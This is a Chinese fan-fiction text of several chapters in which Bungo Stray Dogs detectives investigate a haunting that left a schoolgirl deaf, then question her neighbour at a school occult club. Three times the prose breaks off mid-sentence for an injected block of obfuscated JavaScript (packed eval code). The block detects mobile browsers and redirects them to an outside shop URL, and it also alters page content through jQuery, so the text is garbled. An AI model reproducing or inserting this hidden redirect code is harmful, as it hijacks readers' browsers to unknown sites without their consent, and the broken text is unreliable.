“不知道啊,这种东西得亲眼见到才能下定论嘛。” “这样啊~根据情报信息,居民都是在半夜凌晨见到的哦,我建议我们今晚不回去,留在那里比较好。” 太宰兴奋道。 “我倒是没什么意见啦,国木田君呢?” 星野凛抓住驾驶座,探头问国木田。 不等国木田回答,太宰抢先道:“哎呀,凛酱不要问国木田君了,他最怕鬼了,还嘴硬说自己不怕。” 国木田下意识反驳道:“我才不怕鬼,你这个自杀狂有什么资格说我!” “看到没,国木田君又开始嘴硬了。” “太宰,你这家伙——” “说起来,国木田君还有什么别的情报吗?” 星野凛怕俩人打起来,转移了话题。 国木田轻踩油门,目视前方:“同一个楼层的两家住户都声称看到了鬼,其中吉田家的小女儿是最先发现鬼的,据说遭到了鬼的攻击,目前失聪了。” 星野凛惊道:“这也太不科学了吧,见到了鬼,还莫名其妙失聪了,怎么想都很奇怪吧?” 太宰一副老神在在的样子:“就是要不合常理,够唬人才能达到这个效果啊。” 这么说着,很快就到达事发的居民楼了,是平成前期建造的老式居民楼,只有十层。电梯也年久失修,只能走楼梯上去。 星野凛气喘吁吁地问国木田:“国木田君,还有几层到啊?我快不行了,能歇一会吗?” “就是啊国木田君,你没看到凛酱连气都喘不匀了吗?身为前辈就这么对待新人,这究竟是道德的沦丧,还是人性的扭曲?” 太宰在一旁添油加醋道。 “给我闭嘴,你这个蠢货!我看是你自己想要休息吧?让你平时不锻炼,只想着入水。不准休息,还有一层就到了。” 国木田暴躁道。 “诶?——” 星野凛发出哀鸣。 国木田君也太严厉了吧,都怪太宰那家伙,谁让他多嘴的。 整栋楼十层,目标楼层在第七层,电梯又坏了,难怪这里住的人不多,房租也便宜。 星野凛和太宰靠在墙边喘气,等国木田去敲门,国木田走到挂着“吉田”二字木牌的房前敲门:“打扰一下,我们是武装侦探社的,来了解一下情况,麻烦开一下门。” 过了好一会门才开,开门的是一个扎着马尾辫的女孩:“是来调查闹鬼的吗?请进。” “不好意思,我耳朵听不见,为避免错过来访,我一直关注着门,没想到还是有延时。” “是我们失礼了才对。” 国木田点头作揖。 说完不忘转头对着墙边喊:“你们这两个废物,快点给我进来!” 星野凛有气无力道:“来了。” 太宰恢复成元气满满的样子挤在国木田面前,四处张望:“真有年代感啊,国木田君快看,里面居然还有昭和时期的老物件哦~” 国木田忍无可忍,一脚将他踹飞:“去陌生人家里做客,就给我礼貌一点啊!你这个横滨公敌!” 女孩目睹着眼前的画面,露出尴尬又不失礼貌的微笑:“这就是侦探吗,还真是……特别啊。” 星野凛缓步进入吉田家,标准的三室一厅,装潢是传统的日式风格,墙上挂着古董钟表,周围陈列着大大小小的有年代感的物件。 女孩注意到星野凛的视线,拿出三个杯子给他们沏茶,笑着解释道:“让各位见笑了,因为父亲喜欢收藏这些老物件,所以家里都摆满了。” “原来如此。”星野凛若有所思地点头。 “忘记自我介绍了,我叫吉田友香,国中三年级在读。最近因为闹鬼事件,请了一周的假,真希望快点结束,早日回到学校啊。” 吉田友香略带苦恼地说。 太宰拍了拍胸口,信誓旦旦道:“这么艰巨的任务,就交给我这个绝世名侦探和凛酱吧!我们一定会让案件水落石出的,对不对啊,凛酱?” 星野凛:“……” 都说了不要随便吹牛,这家伙还想拖她下水,真是好手段啊。 吉田友香听不见,根据太宰的动作猜大概,礼貌应道:“如果是这样的话就太好了。” 星野凛抿了口茶,开口:“你能把大致情况和我们说一下吗?比如闹鬼的具体时间什么的。” “抱歉,您能写下来吗?我听不见,刚刚听你们说话都是随便猜的。” 吉田友香把纸和笔拿了过来,摆在桌子上。 因为对方表现得过于正常,都差点忘记对方已经失聪了,星野凛接过笔和纸在上面写下:闹鬼的具体时间是什么时候?耳朵是怎么回事? 写完后星野凛把纸递给吉田友香,对方缓缓开口:“大概是在上周吧,具体是星期几我不记得了,那天晚上我起来喝水,看到阳台上有一个穿红色衣服的女人,紧接着就听到了奇怪的声音,还没看清对方的脸就晕倒了,醒来后发现什么都听不见了。” “好吵啊友香,家里来客人了吗?” 一个趿拉着拖鞋的男人从卧室走了出来。 吉田友香解释道:“这是我的父亲。” 国木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037668|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田站起来鞠躬:“吉田先生您好,我们是受到警方委托来解决闹鬼案件的,如有打扰,请多多包涵。” 吉田纲走到冰箱前,从里面拿出一瓶牛奶,“是侦探吗?那最好快点解决,我已经被迫日夜颠倒了。” 撕开包装后,啜吸一口,然后吐出来:“呸呸呸!琴子也真是的,过期牛奶还不扔,是等着我来扔吗?” 吉田纲抱怨完就坐到一边看电视,播放的是搞笑综艺,音量外放得很大,还有他哈哈大笑的声音。 星野凛:“……” 这家伙是废物吗?真是看得她拳头都硬了。 太宰目睹星野凛握拳的小动作,嘴角扬起弧度,把笔和纸又递给星野凛:“凛酱快点再问一些有用的信息吧。” 星野凛只好拿起笔和纸在上面写下:醒来后大概几点了?是谁先发现的你?除了失聪外还有什么病症吗? 吉田友香看完后解答:“醒来后是第二天八点左右了,是母亲发现的我,当时我把晚上看到的一切都告诉给了母亲,发现自己听不见声音了,母亲说了什么我也不知道,大概是不相信之类的话吧。除了失聪外并没有其他病症。” 星野凛写下:为什么这么确信母亲不相信呢? “因为母亲向来不相信什么鬼神论,是个坚定不移的无神论哦。除了不相信的话外,我实在是想象不出她会说什么。” “关于我的耳朵,母亲在纸上写什么宁愿相信是我学习压力太大造成的,都不愿意相信我的话。还带我去医院做了检查,医生没有检测出任何问题,母亲就更加不信鬼神论了。” 吉田友香补充道。 门突然被钥匙从外面打开,女人提着大包小包地进来:“友香,快点来帮忙。” “我忘记你听不到了,算了,我自己来吧。” 说完后女人才意识到什么。 吉田纲坐在电视机前抬头看了一眼,随后把电视关掉:“家里牛奶都过期了,为什么还放在冰箱?出去那么久,都买了什么?都给你说了多少遍,不要这么慢,怎么还不长记性?” 女人像是习惯了这一切,把菜都放进厨房才出来:“对不起,下次会快一点的,因为电车故障,换线路浪费了点时间。” 吉田纲冷哼一声,回卧室了。 “友香,这几位是?” 女人用眼神询问吉田友香。 星野凛抢在国木田面前开口了:“我们是受到委托来解决案件的,麻烦您配合一下。” 谁有她会玩文字游戏啊,这个阿姨一看就是吉田友香的母亲,刚才都提到不相信鬼神论了,把“闹鬼”这两个字眼去掉,更容易获得信息。 吉田琴子有些错愕:“闹鬼什么的肯定是个误会,现在都讲究科学了,哪有那么多神神鬼鬼啊。” 太宰这时候开口了:“不是的哦~这位女士,虽然现在弘扬科学,但其实怪力乱神的事一直在我们身边,只是您不愿相信罢了。” 每个人心里都藏着代表着欲望和贪婪的恶鬼,鬼无处不在,怎么可能不存在呢? “您女儿的耳朵就是遭到了鬼的攻击才变成这样的,您也去医院检查了,一无所获,不是吗?相信您也不愿意看到您女儿变成现在这样吧?” 星野凛步步紧逼。 有没有鬼另说,解决案件才是最重要的。 “你们想怎么做?” 吉田琴子妥协道。 “我们先带友香回侦探社治疗,您先在家里等着,有什么情况给我们打电话。” 星野凛从口袋里掏出名片:“这是我们的名片,一定要收好。” 5. 第 5 章 武装侦探社内,与谢野晶子拿着十米长的大刀靠近吉田友香:“不要怕,一会就好了,我会温柔一点的。” 吉田友香跌倒在地:“救…救命……” 星野凛躲在桌子底下瑟瑟发抖,与谢野医生实在是太可怕了,以后还是不要受伤比较好。 “找到了,凛酱~你躲在这里做什么呢~” 太宰突然钻下桌下,贴脸靠近她。 星野凛用手做了个“嘘”的噤声动作:“你小点声,不要让与谢野医生听见了,我怕她知道我失忆后,突发奇想给我做个开颅手术怎么办。” 太宰“噗嗤”一下笑出声来:“你多虑了哦凛酱~与谢野医生不会强制给人做手术哟。” “真的吗?” “真的,你先出来吧。” 星野凛半信半疑地从桌子底下爬出来,听到手术室传来的凄惨哀嚎后,感觉良心隐隐作痛。 我对不起你啊友香,你安心去吧,啊不是,你安心接受手术吧,我会为你祈祷的,星野凛在心里默默地忏悔。 手术室灯熄灭,与谢野晶子从里面走出来,面色凝重:“我尽力了。” 星野凛跟在与谢野晶子身后追问:“怎么回事?与谢野医生,出什么意外了吗?” 与谢野晶子接了杯咖啡,郁闷地抿了口:“没出意外,是我技不如人,没能治好她。” 怎么会这样?据太宰所说,与谢野医生的异能可是能治愈一切疾病的,包括生命垂危,命不久矣的人,不可能治不好区区一个失聪。除非,吉田友香的耳朵并非简单的失聪那么简单。 “你们说她是听到了奇怪的声音才失去听觉的,这奇怪的声音很有可能是某种异能,利用声波攻击造成伤害。按道理来说,就算是异能我也能治好才对,真是奇怪……” 与谢野晶子喃喃道。 星野凛直抓重点:“也就是说,造成这起闹鬼案件的,是异能犯罪者,不是单纯的闹鬼对吗?” 与谢野晶子点头:“虽然不是很清楚为什么我的【请君勿死】不起作用,但我可以确定这起案件就是有人用异能在背后搞鬼。” 如果不是异能是人为的话,根本就不成立,不可能有漏网之鱼逃得过【请君勿死】。 星野凛看了看四周:“与谢野医生,友香呢?怎么不见她出来?” “我刚刚给她打了麻药,现在还没醒呢。” 太宰震惊道:“什么?!与谢野医生居然会给病人打麻药?真是不公平,明明我那么怕痛,受伤的时候,就从没有打过麻药诶,与谢野医生真偏心啊。” 与谢野晶子咳了几声:“你和友香能比吗?你皮糙肉厚的,友香还是国中生呢,我当然要多关照她一下。” “诶——” 太宰不满地拖长声音。 “那个,给大家添麻烦了,要不我先回家吧?这么晚了,家里人会担心的。” 吉田友香不知什么时候醒的,怯生生地站在星野凛面前。 星野凛下意识想开口,张了张口,拿起笔在纸上写着:是我擅作主张带你来这里,结果还是没有治好你的耳朵,真是不好意思。一会我陪你回家吧,今天晚上看看有什么线索。 吉田友香接过纸,点头:“好吧,辛苦星野小姐了。” “我今晚要去吉田家找线索,需要一个司机,就你吧。” 星野凛指着太宰道。 与谢野晶子闻言露出了同情,拍了拍星野凛的肩膀:“有些事你可能不知道……祝你好运吧。” * “你这家伙——给我开慢点啊——” “——救命啊啊啊啊……” “混蛋——让你慢点听不懂人话吗——” “啊啊啊啊——有没有人来救救我!” 国木田君不在的半天,想他。 可恶,为什么国木田君偏偏这个时候有事啊?!偏偏自己又不会开车。 星野凛可算知道与谢野医生那副同情的神态是怎么回事了,太宰这家伙简直就是马路杀手啊,她发誓,以后要是再让太宰开车,她就一头撞死。 到达目的地后车停下,星野凛打开车门就吐:“呕——” 太宰无辜地看着星野凛:“凛酱也真是的~都让你少吃点了,看看,全吐出来了。” 星野凛连揍太宰的力气都没了,倚靠在车身上:“闭嘴!如果我有罪,请让神明大人惩罚我,而不是坐你这个混蛋的车吐死啊!” “诶——好过分啊凛酱。” 她看向车窗里,倒在后座的吉田友香:“太宰你看看你干的好事,友香都被你的甩晕了!” 太宰打开车门,轻声道:“不是我啦~凛酱你看,是友香自己睡着了。” “哈?你骗人也要打草稿的好不好?友香明明是被你的车技甩晕的。” “不是哦~凛酱过来一点,仔细听。” 星野凛不情愿地凑过去,刚要开口反驳,就听到吉田友香均匀的呼吸声。 “……” 吉田友香简直是神人啊!太宰治那么烂的车技都能睡着,真的是太厉害了。 星野凛休息了一会,觉得头没那么晕了,“一会你把友香放到我背上,我背她上去。” 太宰歪头不解:“明明我背就可以了哦,完全不需要凛酱这么辛苦嘛~” 这家伙……谁要他无用的体贴啊。 “我是怕你没轻没重,把友香弄醒了,而且,我们都是女孩子,背着也更方便。” “诶——是这样吗?既然凛酱坚持的话,好吧。” 怎么听起来他还不情不愿的,星野凛懒得去计较那么多了,“快点,帮我把友香放到我背上。” 太宰小心翼翼把吉田友香放到星野凛的背上,“凛酱慢点哦,要是累了的话,一点要和我说。” 星野凛掂了掂吉田友香,这个年纪的女生都不吃饭吗?吉田友香正是长身体的年纪。却连一百斤都没有。 吉田家……父亲好吃懒做,强势又无能,母亲懦弱又麻木,在这样的家庭下长大的孩子,真的会快乐吗? 答案肯定是否定的,吉田友香所展示出的开朗的一面都是她故作坚强的伪装。 果然,人在专注想事情的时候是不会累的,连到吉田家门口了,星野凛都没有意识到。 太宰去敲门:“吉田女士,快来开门,我们把友香送回来了。” 没人应,太宰又多敲了几下。 不小心把隔壁的邻居给吵醒了:“谁啊,大半夜不睡觉——” 星野凛顺着声音的来源看向隔壁门,一个穿着破烂衣服,身上涂满了血浆,画着特效妆的男国中生。 老旧楼道内,声控灯忽明忽暗,将对方的脸照得模糊不清。 太宰往星野凛身后躲:“凛酱~人家好怕,你可要保护人家哦~” 星野凛看着太宰快要咧到后脑勺的嘴角,没忍住翻了个白眼:“装什么装啊,你可比隔壁门那家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037669|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙吓人多了。” 男国中生借着微弱的灯光,看清了背上的吉田友香:“友香……” 星野凛问:“你们是朋友吗?” 对方点头:“当然了,只有友香理解我的内心世界,友香可是我最好的朋友。” 吉田家的门忽然有人开了,吉田琴子看到男国中生心脏差点骤停:“啊啊啊——” 男国中生赶忙出声:“琴子阿姨,是我,凉介。” 吉田琴子确认声音后,才慢慢睁眼看他,待看清后又马上闭眼:“是凉介啊,大半夜的是要出去吗?阿姨我啊,心脏不好,以后不要吓阿姨了。” 佐藤凉介挠挠头:“以后不会了。” 看了眼时间后,又马不停蹄下楼了,声音还回荡在楼道内:“琴子阿姨,先不说了,我社团活动要迟到了——” 吉田琴子摇头叹气:“这孩子……” 看到星野凛和太宰才反应过来:“实在是不好意思,在等友香回家的时候,不小心睡着了,没听到敲门声,真的抱歉。” “没关系,友香睡着了,先把友香放床上吧。” “对,没错,先把友香放床上,我这脑子啊……快请进。” 吉田琴子侧身让路。 星野凛来到吉田友香的卧室,把灯打开后,等眼睛完全适应亮度后才缓缓睁眼。 整个卧室,整洁又明亮,床意外的不是单人床,而是上下结构的双人床,星野凛轻轻地将吉田友香放到下床。 准备离开的时候,吉田友香醒了:“唔……我怎么睡着了?是星野小姐送我回来的吗?太感谢您了。” 星野凛猛地抬头,不小心撞到了上面的床板:“没……哎呀,我的头。” 退出了床板的范围,星野凛又踩到了乒乓球,摔倒在地:“真是的,卧室里为什么会有乒乓球啊?!” 吉田友香下床扶星野凛:“星野小姐,你没事吧?” 星野凛生无可恋,彻底瘫倒在地:“我没逝。” 该死的倒霉体质,偏偏在这个时候犯病。 星野凛在吉田友香的搀扶下起身,从口袋里掏出笔和纸:隔壁的那个男国中生为什么打扮得那么奇怪?是有什么特殊癖好吗?为什么非得这个时间点出门? 吉田友香看到这个描述,恍然大悟道:“你说凉介啊?凉介没有特殊癖好,他之所以打扮得那么奇怪,又经常大半夜出门,是因为凉介是个不折不扣的灵异迷。” “他在学校成立了灵异社,经常和社员在半夜去探险,那种奇怪的打扮不是每天都这么打扮,一般是社里有什么活动,需要庆祝的话,就会穿上自己认为最吓人的服装去开party。” 这庆祝方式可真够奇葩的,还半夜跑出去庆祝,真的不会吓到别人吗?刚刚吉田琴子就被吓到了。 吉田友香继续道:“正因为凉介对灵异的痴迷,班上很多同学都不和凉介来往,甚至还会欺负他,我每次都提议去告诉老师吧,他却不同意。” 星野凛在纸上写下:为什么不同意?是怕叫家长吗? “是哦,凉介家里的情况很复杂,父母在他三岁的时候,出车祸去世了。他和姐姐相依为命,为了不给姐姐增添麻烦,凉介生病从不请假,受了委屈也不会说。” “凉介之所以对神鬼之事那么着迷,还有一个原因——他想找到通灵的方法,和已故父母的灵魂再见一面。” 星野凛大为震撼,这对吗? 6. 第 6 章 月色通过阳台打在瓷砖地板上,星野凛脑袋一点一点,快要昏睡之际又突然清醒,看了看窗外:“天还没亮啊……” 今晚她打算守在吉田家,在听了佐藤凉介的事后,更不能轻易离开了,万一那家伙疯到去找所谓的鬼做交易怎么办? 旁边太宰均匀的打鼾声扰乱了星野凛的思绪,“……” 这混蛋到底来干嘛的?这种时候即使再困也不能睡吧,结果倒好,猪都没他能睡。 星野凛无奈叹气,看着阳台外的夜景,心绪莫名有些平静,已经快凌晨两点了,那个鬼,也就是背后的异能者,怎么还不出现? 不会是提前得到了消息,不来了吧? 想想也知道,敢光明正大搞出那么多事又不怕侦探社和警察的人,肯定不是什么泛泛之辈,说不定早就安插了间谍通风报信也说不定。 到目前为止,案件的进展连2%都没有,星野凛不免有些着急,结合目前知道的所有信息,又无法下定论,信息还是太少了。 佐藤凉介看起来比较可疑,不,应该是闹鬼事件的所有人都很可疑,有人在里面浑水摸鱼说谎话,故意把她往错误的方向引导,幕后的那双眼睛说不定现在正躲在暗处观察她呢,看到她一筹莫展的样子,一定很得意吧? 她偏不想让幕后黑手得意。 继续等下去没有意义,对方也不会蠢到主动跳出来,不如乘胜追击,去调查点有用的信息。 * “您好,司机师傅,我们去横滨市第一国中,拜托了。” 星野凛在后座,探头嘱咐司机。 “诶?——凛酱为什么不让我当司机?明明我当的话能省很多车费的说~” 太宰幽怨地看着星野凛。 “你这家伙真是没有一点自知之明啊,让你当司机,我能不能见到明天的太阳都难说。” 星野凛无视掉他的眼神。 “好过分——人家明明是横滨车神!” “少来,我还没说你刚刚像猪一样打呼噜,叫都叫不醒呢。” 星野凛打了个哈欠,看了眼手表,东京时间,凌晨4:14。 在下楼的时候并没有遇到佐藤凉介,说明他还待在学校里,没有回来。这时候去学校的话,有80%的概率能遇见他。 “真的吗?呜哇——我这种绝世美男子居然会打呼?!” 太宰满脸不可置信。 “不就是打呼吗?你是人,又不是神,只要你是人类就不会免俗啊,还是说我们的太宰君已经脱离人的物种,进化成草履虫了?” 星野凛有些不解。 “你不懂的凛酱,像我这种美男子,如果打呼的话,会没有美人和我殉情的~” “可是,你不打呼也没有啊,她们只会把你当成神经病。” 星野凛无语道。 “呜哇——太过分了凛酱……” 太宰一副痛心疾首的样子。 闹鬼的老式小区离学校有点距离,行驶了半个多小时才到,这还是不堵车的情况,如果是乘电车或是堵车的话,所耗费的就不是半个多小时那么短了。 难怪那天晚上,吉田友香说自己会和佐藤凉介会提前一个小时去乘电车呢。 星野凛下车,从车窗口给司机师傅递钱,花了整整5000日元啊!递钱的时候,心都在滴血。 虽然钱是借的,但借给了她,就是她的钱了,花自己的钱哪有不心疼的,尤其是这种需要还的钱。 忘记说了,这钱是她问与谢野医生借的,之前问太宰借的钱,被她拿去偷偷寄给咖啡店店长了。 也算是一点补偿,后面如果在侦探社转正的话,赚到的钱还是会寄给店长的,毕竟咖啡店起火完全是她的责任。 问太宰借的钱根本不够,那家伙根本没有存钱的习惯,就是个月光族,能借到一点都算她走运。 唉,没想到她星野凛年纪轻轻就欠下了两笔巨款,为生活真是承受太多了。 太宰兴奋地跑向学校门口,转身将手比作喇叭状喊她:“快点过来啊凛酱——” “你小点声,万一被值夜的保安发现了怎么办?” 星野凛走过去,压低声线。 太宰也跟着压低声线:“不会的哟~这个点保安都在打瞌睡,没有那么敬业啦~” “诶?真的吗?” “真的真的,我们快点进去吧凛酱。” 下一秒,星野凛看着身轻如燕,翻墙进去的的太宰陷入了沉默:“……” 不是说保安在打瞌睡吗?这家伙翻什么墙啊?!还是说,保安根本就没有打瞌睡?不对,应该是这家伙在炫耀自己的体术。 没错,一定是这样! 星野凛越想越觉得无语,“喂——你这家伙到底在炫耀什么啊?” 说完也轻轻一跃,翻了进去,幸好这所学校的围墙并不算高。 星野凛站起来:“刚才和你说话呢,你听……” “砰”地一声她就被香蕉皮滑到了。 太宰惊呼一声后去扶她:“凛酱,你没事吧?怎么这么不小心。” 星野凛拒绝太宰的搀扶,缓慢爬起:“我现在有理由怀疑,这个香蕉皮,是你刚刚趁我不注意的时候放在这里的,就是为了报复我刚才的出言不逊。” 太宰眨眨眼,摆手:“凛酱真的误会我了哦~你看,这周围全是垃圾,不是我放的。” 星野凛借着月色才得已看清周遭,不仅全是垃圾,还有一个课桌屹立在墙角,桌面上用红色颜料涂满了“去死”“怪胎”“异类”“恶心”等侮辱性字眼。 前面有个穿着恐怖,打着手电筒的人正四处寻觅:“奇怪了,明明就是在这附近……” “你是在找这个吗?” 星野凛拍了拍课桌。 佐藤凉介激动地抱住课桌:“没错!就是这个,我终于找到了!” 太宰双手环胸:“啊嘞,这不是友香的朋友吗?” 佐藤凉介抬头打量两人:“是你们?!你们怎么会在这里?” 星野凛:“当然是担心凉介你的安全啦,这么晚不回家,真的不怕遇到坏人吗?” “你们才是最大的坏人吧?跟踪我到学校,到底想干什么?” 佐藤凉介坐到课桌上。 “真是不得了啊,居然能看出是跟踪,凛酱,你说我们要不要引荐凉介去警察署啊?” 星野凛没理会太宰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037670|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转而问佐藤凉介:“我们是来解决闹鬼案件的,你之前说友香是你最好的朋友,现在你最好的朋友,遇到了困难,你是不是要帮帮忙呢?” 佐藤凉介张了张口,还是没忍住说:“友香她……她不让我参与这些事。我知道她是为我好,但我也想为她做些什么。” “在友香看到鬼的那天晚上,我也看到了,只不过我没听到奇怪的声音,也没失去听力。友香不让我到处说这些。” “你们也看到了,我在学校并不受欢迎,和我玩得好的友香也因为我的原因,被部分人造谣。” 佐藤凉介自嘲地笑了笑:“他们说友香不来上学是因为和我走得太近,才会被鬼魂找上门,我是个异类,友香是异类的同伙。” “友香也知道,如果我到处宣扬自己见过鬼,不仅在学校里待不下去,也会给姐姐添麻烦。” “这样啊……” 星野凛若有所思道。 “能再多说一点关于友香的事吗?吉田家是只有友香一个孩子吗?” 星野凛想起吉田友香卧室里的双人床了。 “友香并不是独生女,她有一个大她十岁的姐姐,只可惜我们家是四年前搬来的,我并没有见过她姐姐。” 佐藤凉介遗憾道。 星野凛不解地问:“为什么?她姐姐就算工作了,也该回家看看吧?难道就没回过来过一次吗?” “不是的,那是因为——友香的姐姐在四年前就去世了,具体死因,我也不清楚,这毕竟是友香的家事,我不好追问。” 吉田友香的姐姐居然去世了,还是在四年前,人都已经走了那么久了,吉田友香居然还睡在上下结构式的双人床上。 看来吉田友香和她姐姐感情非常深厚啊,连遗物都舍不得扔。 最奇怪的是吉田家表现得跟个没事人一样,大女儿去世,按理说应该在家里摆个照片,祭奠一下吧?不仅不提及,还主动隐藏,这吉田家真是越来越有意思了啊。 “友香和她姐姐关系真的很好吗?” 星野凛又问。 “我知道你在想什么,但我可以很明确地告诉你,友香和她姐姐关系真的很好,但她姐姐跟她们的父母关系就不是很好。” 佐藤凉介打了个喷嚏:“友香和我说过,说她小时候因为和父母吵架,姐姐带着她离家出走了,最后她父母报了警,友香和她姐姐才回家,因为这件事,她姐姐被她父亲关了半个月的禁闭。” “从此,友香还不准跑出去玩,也不能和姐姐说话。你去过友香的家,肯定也感受过她家的氛围吧?我其实有一个大胆的猜测,只是猜测啊,不具备任何参考性。” 星野凛洗耳恭听:“没关系,你说吧,我不会告诉别人的,更不会告诉友香,我可是一名有职业素养和道德的侦探。” 太宰这半天都没出声,被星野凛这番话逗笑了:“没错哦~相信凛酱吧~” 佐藤凉介在星野凛的保证下,才缓缓开口:“其实我觉得,友香的姐姐很有可能是自杀。” “长时间在那种高压的环境下成长,难免会想不开,而且我也从没听说过她姐姐的死因,在她家,‘吉田友梨’这四个字甚至不能被提起。” 7. 第 7 章 连名字都不能被提起,吉田家跟大女儿有多大仇多大恨啊?不过佐藤凉介的话也只是参考,这家伙说没说真话也无从得知。 星野凛被凉风一激,打了个喷嚏:“好冷啊,你能带我们去灵异社参观一下吗?” “就是就是,害得我和凛酱站在外面这么久,未免也太失礼了吧。” 太宰裹了裹风衣,附和道。 佐藤凉介:“……” 明明是他们硬要在这里聊的好吧,关他什么事。 无语归无语,佐藤凉介还是同意了:“你们跟紧我,学校楼道只有声控灯,很黑的,不要走散了。” 星野凛跟着佐藤凉介走进了教学楼内,冗长又空荡的楼道静悄悄的,只有细碎的脚步声,声控灯忽明忽灭,像极了恐怖电影里的桥段。 佐藤凉介边走边回头,生怕星野凛和太宰跟不上:“灵异社在四楼最边缘的位置,原本学校是没有多余的教室来组建灵异社的,我把废弃的音乐教室改造成了现在的灵异社,我是不是很厉害?” “你还挺会废物利用。” 星野凛象征性地夸了句,又问:“音乐教室为什么会废弃?是发生了什么事吗?” “这就要提到我们学校的十大不可思议了,废弃的音乐教室就是十大不可思议之三,据说在学校刚建成没多久有个喜欢弹钢琴的学生在音乐教室自杀了,血溅到了钢琴上,一到晚上钢琴就会自动演奏。” “听到钢琴声的人都会死于非命,流言越传越大,校方顶不住舆论的压力,就把音乐教室给封起来了。流言是不是真的不重要,重要的是我有闲置的教室了,反正闲着也是闲着,不如拿来被我废物利用。” 在出过人命的音乐教室里组建社团吗……该说不说,佐藤这家伙胆子是真大啊,星野凛不禁感慨。 “佐藤君,还有多久到灵异社啊?灵异社真的在四楼吗?我怎么感觉爬了十楼。” 太宰有些幽怨地说。 从操场到爬楼梯,他们一刻也没有停过,星野凛估算了下,起码爬了五楼,但佐藤凉介一直说还没到,到底是还没到,还是在故意绕圈子? 后者的可能性极大,那他的目的是什么呢?干扰他们?给他们错误信息,明明表现出一副和吉田友香关系很好的样子,结果却故意耽误破案进度。 “是啊,你是不是不想带我们去灵异社?” 星野凛质问道。 佐藤凉介不满道:“你们少血口喷人了,我明明很有认真地带你们去,觉得慢是因为十大不可思议之一,吶,就是通往音乐教室的楼梯,号称是永远也走不到尽头的楼梯。” 又来,这家伙这么喜欢编故事,怎么不去当小说家啊,星野凛翻了个白眼。 她耐着性子问:“那怎么办啊?你每次去社团都要经历这些吗?” 佐藤凉介闻言颇为自得道:“当然了,我每回去社团都要走差不多二十层楼的循环呢,怎么样,是不是很厉害?” “……” 这家伙还挺骄傲,遇上鬼打墙有什么好炫耀的。 “那我们也要走二十层楼的循环吗?” “当然了,别怪我没提前跟你们说,没有尽头的楼梯之所以能成为十大不可思议之一,是因为它是‘活的’。” “ ‘活的’?” “能读懂人的内心,如果你对它没有敬畏之心,它就会生气,你会被困在这个楼梯里,直到永远,对它有敬畏之心的话,它顶多让你多走几层楼梯,不会怎么样的。” 什么乱七八糟的,听起来还挺唬人,这个学校的怪谈可比居民楼闹鬼有意思多了,可惜啊,没人委托她解决这个学校的谜团。 第十五层了,他们在第三层循环走了十五层楼梯的量了,好累啊……该死的佐藤,这笔账她记下了。 一个破鬼打墙非得编造成怪谈,从居民楼到学校,佐藤凉介的种种行为都太刻意了,他是在替谁转移火力呢? 吉田友香?还是已经去世的吉田友梨? 这个案子从开始到现在,过于无厘头了,看似简单随意,但只要深究,就有一张无形的大网把你拢住,事情的发展和走向都让她感到无力。 还是先把重点放在居民楼闹鬼这件事上吧,星野凛叹了口气,开口道:“你之前说你也见过鬼,具体的情景是怎么样的,还记得吗?” 佐藤凉介:“友香不让我说的……算了,告诉你们也行。那天晚上我和往常一样,换好衣服,准备去学校,结果在阳台看到一个穿白色衣服的女人,我还没反应过来,对方就不见了,然后我就去学校了。” 白色衣服?星野凛记得吉田友香说的是红色衣服,现在证据不足,仅凭她的怀疑还不足以确定说谎的就是佐藤凉介。 吉田友香也有很大的嫌疑,可惜看见鬼的只有他们两个人,根本无法判断到底是谁在说谎。 星野凛还想再问些什么,就听见佐藤凉介的惊呼声:“太好了!楼梯循环结束了!你们快点过来,前面的边缘角落就是灵异社了。” 教室很多,灵异社在最边缘的角落非常不起眼,如果不是门口挂了个特别夸张的牌子的话,一般人根本不会注意到。 佐藤凉介走在前面,把灵异社的门推开:“说好等我找到课桌再走的,这群没义气的家伙。” 太宰挤在佐藤凉介面前,兴奋地探头:“这令人窒息的黑暗,这空荡冷清的房间——实在是太棒了,这才是我心目中的灵异社啊!” 太宰这家伙也真是的,一直在当哑巴,突然这么亢奋,到底要闹哪样啊? 佐藤凉介得意道:“那是,灵异社的一切都是我亲自布置的,要的就是这种效果。” 星野凛走过去开灯,白炽灯迅速把昏暗的房间给照亮:“什么破效果,不就是为了省钱不开灯,没钱给置办道具吗?” “……” 太宰迅速把灯关掉,“嘛,虽然凛酱说得对,但还是关掉更好吧,天马上就要亮了,被人发现可就糟了。” 好吧,这么亮着确实引人注目。 灵异社从外面看空间不大,没想到里面还挺大,容纳三十多个人也不成问题,星野凛随便找了个椅子坐: “你们灵异社一共有几个人啊?布置得那么简陋。” 